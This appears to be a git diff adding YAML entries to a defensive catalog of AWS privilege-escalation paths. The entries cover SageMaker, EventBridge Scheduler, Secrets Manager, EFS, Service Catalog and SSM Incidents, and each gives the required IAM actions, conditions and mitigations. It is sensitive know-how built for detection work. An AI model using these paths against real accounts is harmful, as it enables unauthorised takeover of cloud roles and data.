sagemaker:CreatePresignedNotebookInstanceUrl to the owner's notebooks (tags) and keep notebook roles least-privileged. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreatePresignedNotebookInstanceUrl.html + notes: Only existing notebook instances in Resource scope. + +- id: aws-sagemaker-createpresigneddomainurl + provider: aws + service: sagemaker + title: Mint a Studio login URL for an existing user profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatepresigneddomainurl + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of SageMaker Studio user profiles in Resource scope. + requires: + all_of: + - action: sagemaker:CreatePresignedDomainUrl + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_user_profile + scope: same_account + aggregate_as: "Execution roles of SageMaker Studio user profiles in {account}" + preconditions: + - sagemaker_studio_profile_iam_domain_ready + conditions: + - id: iam_domain_and_profile + description: The profile and its domain must be InService, and the domain must use IAM authentication. + - id: network_restriction + description: Domains in VPC-only mode or with aws:SourceIp / aws:sourceVpce conditions may block use of the URL. + - id: executable_profile_app + description: Running code under the profile execution role needs an InService code app, or CreateApp and AddTags permission to create one for the profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope CreatePresignedDomainUrl to the caller's own profile (e.g. sagemaker:ResourceTag/owner = aws:username) and keep execution roles least-privileged. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreatePresignedDomainUrl.html + notes: Role is the profile's UserSettings.ExecutionRole, or the domain DefaultUserSettings.ExecutionRole if the profile has none. The URL signs in to the domain; code execution depends on an app using that role. + +- id: aws-sagemaker-passrole-createprocessingjob + provider: aws + service: sagemaker + title: Create a Processing job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreateprocessingjob-iampassrole + source_revision: 171e422299 + summary: The source can run a SageMaker processing job with code it controls using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: sagemaker:CreateProcessingJob + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_job_execution_route_unverified + conditions: + - id: egress_or_role_side_effects + description: Credential use from inside the job needs outbound network (no network isolation) or the payload must act with the role directly. + - id: sagemaker_condition_keys + description: sagemaker:NetworkIsolation / sagemaker:VpcSubnets / image condition keys may constrain the job. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and use SageMaker condition keys (approved images, network isolation) on job creation. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateProcessingJob.html + notes: The role also needs ECR pull permissions for the chosen image; AWS-provided images are normally pullable by SageMaker roles. + +- id: aws-sagemaker-passrole-createtrainingjob + provider: aws + service: sagemaker + title: Create a Training job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatetrainingjob-iampassrole + source_revision: 171e422299 + summary: The source can run a SageMaker training job with code it controls using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: sagemaker:CreateTrainingJob + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_job_execution_route_unverified + conditions: + - id: egress_or_role_side_effects + description: Credential use from inside the job needs outbound network or direct role actions by the payload. + - id: output_bucket_writable_by_role + description: The passed role must be able to write the job's S3 output path. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and enforce approved images/network isolation via condition keys. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateTrainingJob.html + notes: "" + +- id: aws-sagemaker-passrole-createhyperparametertuningjob + provider: aws + service: sagemaker + title: Create a Hyperparameter Tuning job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatehyperparametertuningjob-iampassrole + source_revision: 171e422299 + summary: The source can launch SageMaker training jobs through a tuning job using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: sagemaker:CreateHyperParameterTuningJob + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_job_execution_route_unverified + conditions: + - id: code_location_readable_by_role + description: The passed role must be able to read the S3 code bundle the source supplies (own public/cross-account bucket or writable bucket). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:CreateHyperParameterTuningJob. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateHyperParameterTuningJob.html + notes: "" + +- id: aws-sagemaker-updateuserprofile-passrole-createapp + provider: aws + service: sagemaker + title: Swap a Studio user profile's execution role and launch an app + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdateuserprofile-iampassrole-sagemakercreateapp-sagemakercreatepresigneddomainurl-sagemakerdeleteapp + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting sagemaker.amazonaws.com via a Studio user profile. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: sagemaker:UpdateUserProfile + resource: "*" + - action: sagemaker:CreateApp + resource: "*" + - action: sagemaker:CreatePresignedDomainUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: no_inservice_apps + description: UpdateUserProfile fails while the profile has InService apps; sagemaker:DeleteApp is needed if any exist. + - id: same_profile_scope + description: UpdateUserProfile, CreateApp and CreatePresignedDomainUrl must all cover the same user profile/app ARNs. + - id: not_unified_studio + description: Unified Studio domains reject presigned domain URLs. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:UpdateUserProfile to platform admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateUserProfile.html + notes: "" + +- id: aws-sagemaker-updatedomain-createuserprofile-passrole + provider: aws + service: sagemaker + title: Change a Studio domain's default execution role and create a profile inheriting it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatedomain-sagemakercreateuserprofile-sagemakercreateapp-iampassrole-sagemakercreatepresigneddomainurl-sagemakerdeleteapp + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting sagemaker.amazonaws.com via the Studio domain default. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: sagemaker:UpdateDomain + resource: "*" + - action: sagemaker:CreateUserProfile + resource: "*" + - action: sagemaker:CreateApp + resource: "*" + - action: sagemaker:CreatePresignedDomainUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: no_inservice_apps_in_domain + description: UpdateDomain fails while any app in the domain is InService; sagemaker:DeleteApp on all of them is needed otherwise (disruptive). + - id: not_unified_studio + description: Unified Studio domains reject presigned domain URLs. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:UpdateDomain/CreateUserProfile to platform admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateDomain.html + notes: CreateUserProfile with an explicit ExecutionRole is itself a PassRole path, modelled in aws-sagemaker-createuserprofile-passrole-createapp; this entry follows the page's inherit-default variant. + +- id: aws-sagemaker-createuserprofile-passrole-createapp + provider: aws + service: sagemaker + title: Create a Studio user profile with an explicit passed execution role and launch an app + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatedomain-sagemakercreateuserprofile-sagemakercreateapp-iampassrole-sagemakercreatepresigneddomainurl-sagemakerdeleteapp + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting sagemaker.amazonaws.com by setting it as the execution role of a new Studio user profile. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: sagemaker:CreateUserProfile + resource: "*" + - action: sagemaker:CreateApp + resource: "*" + - action: sagemaker:CreatePresignedDomainUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: existing_domain + description: A Studio domain covered by CreateUserProfile must exist; CreateApp and CreatePresignedDomainUrl must cover the new profile and app ARNs. + - id: not_unified_studio + description: Unified Studio domains reject presigned domain URLs. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:CreateUserProfile to platform admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateUserProfile.html + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UserSettings.html + notes: Not a separate HackTricks section; it is the explicit-role variant of the UpdateDomain section (UserSettings.ExecutionRole on CreateUserProfile), which avoids UpdateDomain and the no-InService-apps restriction. + +- id: aws-sagemaker-updateclustersoftware-custom-ami + provider: aws + service: sagemaker + title: Replace HyperPod instance-group nodes with a custom AMI that keeps the group's execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdateclustersoftware--replace-hyperpod-nodes-with-a-custom-ami + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-group execution roles of HyperPod clusters it can update, by booting their nodes from an image it controls. + requires: + all_of: + - action: sagemaker:UpdateClusterSoftware + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_cluster + scope: same_account + aggregate_as: "Execution roles of HyperPod instance groups in {account}" + conditions: + - id: controlled_custom_ami + description: A custom AMI with attacker-controlled startup code must already be available to the account and meet HyperPod's encryption and volume constraints; creating it needs separate EC2 permissions. + - id: slurm_default_ami + description: Slurm-orchestrated groups on the default HyperPod AMI cannot be switched to a custom AMI by this operation. + - id: disruptive + description: The update replaces node root volumes and interrupts running workloads. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict sagemaker:UpdateClusterSoftware to platform administrators on specific cluster ARNs, restrict who can create or share AMIs, and keep instance-group roles least-privileged. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateClusterSoftware.html + notes: No role is passed, so iam:PassRole is not required. The page nests this heading under the CreatePresignedDomainUrl section, so coverage counted it as a child of that entry; it is modelled separately here. + +- id: aws-sagemaker-attach-notebook-lifecycle-config + provider: aws + service: sagemaker + title: Attach a controlled lifecycle configuration to an existing notebook instance + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-notebook-instances + source_revision: b587e6bd26 + summary: The source can run startup code with an existing notebook instance's execution role by attaching a controlled lifecycle configuration. + requires: + all_of: + - action: sagemaker:CreateNotebookInstanceLifecycleConfig + resource: "arn:{source.partition}:sagemaker:*:{source.account}:notebook-instance-lifecycle-config/*" + - action: sagemaker:UpdateNotebookInstance + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_notebook_instance + scope: same_account + aggregate_as: Roles of notebook instances whose lifecycle configuration can be replaced in {account} + outcome: workload_execution + conditions: + - id: notebook_restart + description: The notebook must be stopped for the configuration change and started afterward so the startup hook executes. + - id: controlled_configuration + description: The source must create a lifecycle configuration containing code that uses the notebook role's authority. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit notebook lifecycle-configuration creation and attachment to trusted deployment principals, and review lifecycle script content. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateNotebookInstance.html + notes: This differs from rewriting an already-attached lifecycle configuration, which is covered by aws-sagemaker-updatenotebookinstancelifecycleconfig. + +- id: aws-sagemaker-attach-studio-lifecycle-config-user-profile + provider: aws + service: sagemaker + title: Attach a controlled Studio lifecycle configuration to an existing user profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio + source_revision: b587e6bd26 + summary: The source can run startup code with a Studio user profile's execution role by attaching a controlled lifecycle configuration. + requires: + all_of: + - action: sagemaker:CreateStudioLifecycleConfig + resource: "arn:{source.partition}:sagemaker:*:{source.account}:studio-lifecycle-config/*" + - action: sagemaker:UpdateUserProfile + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_user_profile + scope: same_account + aggregate_as: Roles of Studio user profiles with updatable lifecycle settings in {account} + outcome: workload_execution + conditions: + - id: studio_app_start + description: A compatible Studio app for the profile must start after the update so the lifecycle script runs. + - id: controlled_configuration + description: The source must create a Studio lifecycle configuration for the application type used by the profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict Studio lifecycle-configuration creation and user-profile updates and review startup scripts on profiles with privileged roles. + references: + - https://docs.aws.amazon.com/sagemaker/latest/dg/studio-lcc.html + notes: Domain-level default settings and shared spaces need separate target-to-resource joins; this entry applies to an individually updatable user profile. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml new file mode 100644 index 0000000000..4e0dc64fc9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml @@ -0,0 +1,47 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EventBridge Scheduler privilege escalation techniques. +# Source: hacktricks-cloud eventbridgescheduler-privesc/README.md (rev 171e422299). + +- id: aws-scheduler-passrole-createschedule-or-updateschedule + provider: aws + service: scheduler + title: Create or update a schedule that runs with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md#iampassrole-schedulercreateschedule--schedulerupdateschedule + source_revision: 171e422299 + summary: The source can make EventBridge Scheduler call a supported target using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + any_of: + - - action: scheduler:CreateSchedule + resource: "*" + - - action: scheduler:UpdateSchedule + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: scheduler.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting scheduler.amazonaws.com passable in {account}" + outcome: impersonation + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: updateschedule_existing + description: The UpdateSchedule variant requires an existing schedule within its Resource. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole with iam:PassedToService=scheduler.amazonaws.com to specific roles and restrict schedule creation/update. + references: + - https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html + - https://docs.aws.amazon.com/scheduler/latest/UserGuide/setting-up.html + notes: Universal targets let the role call most AWS APIs (write-only, results are not returned), so reach equals the role's write permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/scoped_grants.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/scoped_grants.yaml new file mode 100644 index 0000000000..20408c3a57 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/scoped_grants.yaml @@ -0,0 +1,127 @@ +# Scoped AWS permission gains. Each edge needs one unique reviewed record that +# binds the source, exact resource, accepted mutation, and effective permission +# before and after the mutation. Missing or ambiguous evidence creates no path. + +- id: aws-secretsmanager-putresourcepolicy-self-grant + provider: aws + service: secretsmanager + title: Grant the source IAM user GetSecretValue on an exact secret + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md#secretsmanagergetresourcepolicy-secretsmanagerputresourcepolicy-secretsmanagerlistsecrets + source_revision: d11f0e7012 + summary: The source IAM user writes a same-account secret resource policy naming itself and gains previously denied GetSecretValue, including the necessary KMS decrypt authorization. + source_kind: [aws_user] + requires: + all_of: + - action: secretsmanager:PutResourcePolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_secretsmanager_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["secretsmanager:GetSecretValue on the exact reviewed secret"] + aggregate_as: "Reviewed Secrets Manager GetSecretValue self-grants in {account}" + conditions: + - id: reviewed_secret_permission_differential + description: Unique reviewed evidence must bind the exact source IAM user, same-account secret, accepted policy principal and resource, prior denial, effective new GetSecretValue access, and KMS decrypt access. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict PutResourcePolicy on sensitive secrets and review grants to the requesting user with KMS access. + references: + - https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_resource-policies.html + notes: The target is the source user's new read permission on one secret, never the privileges of a credential that might be stored there. + +- id: aws-efs-putfilesystempolicy-self-grant + provider: aws + service: efs + title: Grant the source ClientMount on an exact EFS file system + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemdeletefilesystempolicyelasticfilesystemputfilesystempolicy + source_revision: d11f0e7012 + summary: The source replaces a file-system policy with an accepted statement naming itself and gains previously denied ClientMount on that file system. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: elasticfilesystem:PutFileSystemPolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_efs_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["elasticfilesystem:ClientMount on the exact reviewed file system"] + aggregate_as: "Reviewed EFS ClientMount self-grants in {account}" + conditions: + - id: reviewed_efs_permission_differential + description: Unique reviewed evidence must bind the source, file system, accepted policy principal and resource, prior ClientMount denial, and effective new ClientMount authorization. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict PutFileSystemPolicy and review client grants to the requesting principal. + references: + - https://docs.aws.amazon.com/efs/latest/APIReference/API_PutFileSystemPolicy.html + notes: This grants only ClientMount authorization; network reachability and ClientWrite or ClientRootAccess are separate conditions and permissions. Deleting the policy is not modeled by this entry. + +- id: aws-cases-tagresource-domain-event-self-grant + provider: aws + service: cases + title: Unlock PutCaseEventConfiguration by changing an exact domain authorization tag + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-cases-privesc/README.md#casestagresource--casesuntagresource-plus-tag-conditioned-cases-permissions + source_revision: d11f0e7012 + summary: The source tags an exact Cases domain Access=Operator and thereby satisfies its previously unmet aws:ResourceTag/Access condition for PutCaseEventConfiguration on that domain. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: cases:TagResource + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_cases_tag_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["cases:PutCaseEventConfiguration on the exact reviewed domain after Access=Operator tagging"] + aggregate_as: "Reviewed Connect Cases domain tag-conditioned grants in {account}" + conditions: + - id: reviewed_cases_tag_permission_differential + description: Unique reviewed evidence must bind the source, domain, accepted Access=Operator tag, pre-existing matching IAM condition, all evaluated resources, prior denial, and effective newly allowed PutCaseEventConfiguration action. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Cases authorization tag writes and use explicit denies for protected domains. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_connectcases.html + notes: Other Cases actions or resource types require separate exact proof and are not inferred from this domain grant. + +- id: aws-sitewise-createaccesspolicy-portal-self-grant + provider: aws + service: iotsitewise + title: Grant the source identity SiteWise Monitor portal administrator access + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal + source_revision: d11f0e7012 + summary: The source creates an accepted access policy naming itself as ADMINISTRATOR on an existing Monitor portal where it had no equivalent access. + source_kind: [aws_user] + requires: + all_of: + - action: iotsitewise:CreateAccessPolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_sitewise_portal_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["iotsitewise:MonitorPortalAdministrator on the exact reviewed portal"] + aggregate_as: "Reviewed SiteWise Monitor portal administrator grants in {account}" + conditions: + - id: reviewed_sitewise_portal_permission_differential + description: Unique reviewed evidence must bind the exact source identity, existing portal, accepted access policy naming that identity, prior absence of equivalent access, and effective new ADMINISTRATOR permission. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict CreateAccessPolicy on Monitor portals and reconcile administrator grants against approved identities. + references: + - https://docs.aws.amazon.com/iot-sitewise/latest/APIReference/API_CreateAccessPolicy.html + notes: The target is the source's new portal-scoped application permission, not account-wide IAM authority. Monitor must be available in the account. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml new file mode 100644 index 0000000000..f822dd573f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml @@ -0,0 +1,90 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Service Catalog privilege escalation techniques. +# Source: hacktricks-cloud aws-service-catalog-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +- id: aws-servicecatalog-createprovisioningartifact-provisionproduct + provider: aws + service: servicecatalog + title: Add a product version and provision it under the launch-constraint role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#servicecatalogcreateprovisioningartifact--servicecatalogprovisionproduct + source_revision: 171e422299 + summary: The source can obtain the privileges of the launch-constraint role of products it can modify and provision. + requires: + all_of: + - action: servicecatalog:CreateProvisioningArtifact + resource: "{target.resource_arn}" + - action: servicecatalog:ProvisionProduct + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: servicecatalog.amazonaws.com + via_resource_type: servicecatalog_product + scope: same_account + aggregate_as: "Service Catalog launch-constraint roles in {account}" + conditions: + - id: product_owned + description: The product must be owned by (not merely shared into) the account so artifacts can be added. + - id: portfolio_end_user + description: The source must be an end user (principal association) of a portfolio containing the product with a launch constraint. + - id: template_url + description: The source needs a template location (S3 or GitHub) the service accepts. + - id: resource_constraints + description: Launch-role permission boundaries or template/resource constraints may limit what the role can create. + - id: launch_role_confused_deputy_conditions + description: aws:SourceAccount / aws:SourceArn conditions in the launch-role trust policy limit which account's provisioning calls can use the role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict servicecatalog:CreateProvisioningArtifact to catalog administrators and keep launch-constraint roles least-privileged. + references: + - https://docs.aws.amazon.com/servicecatalog/latest/adminguide/constraints-launch.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsservicecatalog.html + notes: The launch-constraint guide states the launch role's trust policy must allow the Service Catalog service to assume it, which matches the selector. The Service Authorization Reference lists no dependent actions for servicecatalog:ProvisionProduct, so the end user needs no iam:PassRole; iam:PassRole is only needed by the administrator who creates the launch constraint. The evaluator should still take the role from the launch constraint rather than from the trust policy alone. + +- id: aws-servicecatalog-associateprincipal-createartifact-provision + provider: aws + service: servicecatalog + title: Grant itself portfolio access, add a product version and provision it under the launch role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#servicecatalogassociateprincipalwithportfolio--grant-a-principal-or-yourself-portfolio-access-to-reach-the-launch-role + source_revision: 171e422299 + summary: The source can obtain the privileges of the launch-constraint role of products it can modify, even without being a portfolio end user, by associating itself with the portfolio. + requires: + all_of: + - action: servicecatalog:AssociatePrincipalWithPortfolio + resource: "{target.portfolio_arn}" + - action: servicecatalog:CreateProvisioningArtifact + resource: "{target.resource_arn}" + - action: servicecatalog:ProvisionProduct + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: servicecatalog.amazonaws.com + via_resource_type: servicecatalog_product + portfolio_of_target_product_covered_by: servicecatalog:AssociatePrincipalWithPortfolio + scope: same_account + aggregate_as: "Service Catalog launch-constraint roles of portfolios the source can join in {account}" + conditions: + - id: portfolio_covered + description: servicecatalog:AssociatePrincipalWithPortfolio must cover the portfolio that holds the product and its launch constraint. + - id: product_owned + description: The product must be owned by (not merely shared into) the account so artifacts can be added. + - id: template_url + description: The source needs a template location (S3 or GitHub) the service accepts. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict servicecatalog:AssociatePrincipalWithPortfolio and CreateProvisioningArtifact to catalog administrators; review portfolio principal associations (including name patterns) and keep launch roles least-privileged. + references: + - https://docs.aws.amazon.com/servicecatalog/latest/dg/API_AssociatePrincipalWithPortfolio.html + - https://docs.aws.amazon.com/servicecatalog/latest/adminguide/constraints-launch.html + notes: Variant of aws-servicecatalog-createprovisioningartifact-provisionproduct that removes its portfolio_end_user condition. {target.portfolio_arn} is the portfolio whose LAUNCH constraint names the role (servicecatalog:ListPortfolios + ListConstraintsForPortfolio); without that inventory the targets are unresolved placeholders. Provisioning an unmodified product runs an administrator-approved template and is not an edge, so CreateProvisioningArtifact stays required. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/snowball.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/snowball.yaml new file mode 100644 index 0000000000..0e1bf34845 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/snowball.yaml @@ -0,0 +1,12 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Snowball Edge job management privilege escalation techniques. +# Source: hacktricks-cloud aws-snowball-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Bounded impact: the job role is used +# only to read the selected S3 data onto a shipped device; no credentials are returned. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ssm-incidents.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm-incidents.yaml new file mode 100644 index 0000000000..8fd0aa4040 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm-incidents.yaml @@ -0,0 +1,46 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS ssm-incidents privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +- id: aws-ssm-incidents-response-plan-automation-passrole + provider: aws + service: ssm-incidents + title: Run controlled incident automation with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#hijack-response-plan-actions-chat-channel-and-contacts + source_revision: b587e6bd26 + summary: The source can create or update a response plan with a controlled SSM Automation document and pass a runbook service role to Incident Manager, then start an incident under that same plan. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm-incidents.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ssm-incidents.amazonaws.com + scope: same_account + aggregate_as: Passable Incident Manager runbook roles in {account} + outcome: workload_execution + preconditions: + - ssm_incident_response_plan_runs_new_automation_document + conditions: + - id: incident_trigger + description: StartIncident must use the same response plan created or updated by the source and trigger its automation action. + - id: automation_document + description: The source must be able to create an automation document whose steps use the passed role's authority. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict passing the execution role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict response-plan mutation and iam:PassRole to approved incident automation roles and review automation documents referenced by plans. + references: + - https://docs.aws.amazon.com/incident-manager/latest/userguide/response-plans.html + notes: CreateResponsePlan has no resource-level permissions, while UpdateResponsePlan and StartIncident use a Regionless response-plan ARN. The runbook service role trusts ssm-incidents.amazonaws.com and needs StartAutomationExecution on the document and generated execution; a separate Automation AssumeRole is not used by this path. The evaluator requires an active Incident Manager replication set, a creatable Automation document, and creation or update plus StartIncident on the same plan. Successful Automation execution remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml new file mode 100644 index 0000000000..47185ac70a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml @@ -0,0 +1,334 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Systems Manager privilege 